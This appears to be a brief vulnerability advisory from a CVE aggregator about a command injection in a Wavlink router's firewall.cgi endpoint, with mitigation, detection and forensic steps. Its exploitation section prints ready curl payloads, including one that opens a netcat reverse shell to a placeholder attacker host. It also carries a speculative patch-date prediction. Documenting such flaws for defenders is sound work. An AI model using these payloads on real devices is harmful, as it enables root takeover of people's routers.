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How CVE-2025-44882 Works
The vulnerability exists in the `/cgi-bin/firewall.cgi` endpoint of Wavlink WL-WN579A3 firmware v1.0 due to insufficient input validation. Attackers can inject malicious commands via crafted HTTP requests, which are executed with root privileges. The lack of proper sanitization in user-supplied input allows arbitrary OS command execution, leading to full system compromise. The exploit leverages shell metacharacters (e.g., ;, |, &) to chain commands, bypassing weak filtering mechanisms.
DailyCVE Form:
Platform: Wavlink WL-WN579A3
Version: v1.0
Vulnerability: Command Injection
Severity: Critical
Date: 05/29/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
1. Craft malicious payload:
curl -X POST "http://<TARGET_IP>/cgi-bin/firewall.cgi" -d "rule=$(sleep 10)"
2. Reverse shell execution:
curl -X POST "http://<TARGET_IP>/cgi-bin/firewall.cgi" -d "rule=;nc -e /bin/sh <ATTACKER_IP> 4444"
Protection:
1. Input Sanitization:
import re def sanitize_input(input_str): return re.sub(r"[;&|`]", "", input_str)
2. Network Mitigation:
iptables -A INPUT -p tcp --dport 80 -m string --string "/cgi-bin/firewall.cgi" --algo bm -j DROP
Detection:
1. Log analysis for suspicious patterns:
grep -E "firewall.cgi.[;&|]" /var/log/nginx/access.log
2. YARA rule for exploit detection:
rule cve_2025_44882_exploit {
strings:
$payload = /rule=[^&\n][;&|]/
condition:
$payload
}
Patch Verification:
sha256sum /usr/lib/cgi-bin/firewall.cgi | grep EXPECTED_HASH
Post-Exploit Forensics:
strings /proc/$(pgrep firewall.cgi)/environ | grep -i payload
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
